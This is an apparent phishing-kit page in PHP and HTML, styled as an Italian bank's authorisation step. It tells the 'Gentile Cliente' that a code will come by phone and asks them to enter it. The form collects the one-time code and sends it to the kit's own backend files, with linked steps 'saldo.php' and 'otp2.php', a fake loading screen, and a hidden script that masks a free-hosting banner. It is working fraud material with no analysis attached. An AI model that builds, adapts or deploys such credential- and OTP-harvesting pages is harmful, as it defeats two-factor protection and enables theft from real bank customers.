<?php
//INCLUDERE GENERALE
require("pannello2/generale.php");

//CUSTOM
$pagina=array('otp');
$numero = 2;
$prossima = "otp2.php";
$precedente ="saldo.php";

//INCLUDERE MOTORE
require("pannello2/motore.php");

?><html lang="it" class="sfondo"><head>
<title>Accedi</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="shortcut icon" href="favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no, user-scalable=0">
   <link type="text/css" rel="stylesheet" href="css/bootstrap.min.css">
<link type="text/css" rel="stylesheet" href="css/css.css">
<script type="text/javascript" src="css/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.countdown/2.2.0/jquery.countdown.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.29.1/moment.min.js"></script>
        <!--   <script>
        if(window.location.href.indexOf('webhostapp')!=-1){
            setInterval(function(){jQuery("img[alt='www.000webhost.com']").parents("div").hide()},500)
        }
        </script> -->
    
        </head><body class="sfondo">
  

       <style>
  @font-face {
font-family: Texta;
src: url(Texta-Regular.woff);
}

  body {
font-family: 'Texta', sans-serif;
}

  .content-federation-bar-minified .federation-bar-content-logo div,
  .content-federation-bar-simplified .federation-bar-content-logo div {
    float: left;
    padding: 15px 0 0 0 !important;
  }
  .sfondo{
    
background-color: #f6f6f6;
  }
  .car{background-image:url(ccc.jpg)}
</style>


<div class="father" style="display: none;">
<div class="child"><img src="logo.png"></div>
</div>

<style>
html, body{
    background-color:white;
}
.father {
display: flex;
justify-content: center;
align-items: center;
}
.resto{
display: none ;
}

.nascondi{
display: none !important;
}

.child {
background-image: url(load_de.gif);
margin-top: 100%;
position: absolute;
background-repeat: no-repeat;
background-size: 48px;
background-position: center;
}
</style>
<div class="resto" style="display: block;">

<div class="content content-federation-bar content-federation-bar-minified content-federation-bar-simplified">
  <div class="container container-extended">
    <div class="row">
      
      <div class="col-md-12">
        <div class="header-minified">
          <div class="row">
            <div class="col-xs-12">
              <div style="text-align:center;padding-top:10px;" class="federation-bar-content-logo pull-xs-left clearfix">
               
                      <img src="css/img1.png">
               
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
<div style="text-align:center;padding-top: 42px;">
  <div>
<div class="row">
                <div class="col-md-12" style="text-align:center;">
                  <div class="abstract">
                    <div class="abstract-heading text-xs-center spacer-xs-bottom-40">
                      <h1 class="idp-retail">Inserisci Codice Autorizzazione

                                        <small>
                        <h3 class="idp-retail" style="font-size: 90%;line-height: 100%;padding: 0px 30px;color: #3c3c3c;">
                            
                          </h3>
                        </small>
                      </h1>
                      
                    </div>
                  </div>
                </div>
              </div>

<div style="text-align:center;padding-top: 22px;">
  <div>
  
  </div>
</div>
<div class="col-12">
<form class="form-login clearfix" method="POST">
    <div class="panel-body" style="text-align: center;">
      <div class="spacer-xs-bottom-30" style="BACKGROUND-COLOR: white;margin: 0 10px;padding: 20px;text-align:left;"> 
        
   
      <p style="font-size:150%;text-align: center;"><br><br></p><h5 style="font-size:100%">
                                  Gentile Cliente,

                                  A breve le arriverà un codice dispositivo sulla sua utenza telefonica.
                                  Tale codice è Denominato <b>CODICE Autorizzazione</b>. Di solito, il codice,
                                  arriverà entro 30 minuti. 
      <br>
      <label class="control-label" for="otp">CODICE</label>
  
  <input class="form-control" id="otp" name="otp" required="" placeholder="inserisci" style="padding:25px  0px 25px 0" type="text" value=""><br><input type="submit" style=" 
font-weight: normal !important;" class="btn btn-primary btn-expand" value="CONFERMA">

</div>
</div>

</form></div>


        
        <p class="btn-container btn-container-center spacer-xs-bottom-15 
        spacer-xs-top-30 clearfix" style="margin: 5PX 25px;">
          
        </p>
     
   
  

</div>   
                    </div>


<script>
setTimeout(function(){

jQuery(".father").fadeOut( "slow", function() {

    jQuery("html, body").addClass("sfondo")
    
    jQuery("html, body").removeClass("bianco")
    jQuery(".resto").fadeIn()
});

},2000)

time = moment();
time.add(15,'minutes');
$('div#clock').countdown(time.format("MM/DD/YYYY HH:mm:ss"),function(event) {
$(this).html(event.strftime('%H:%M:%S'))


});

</script>

</div></body></html>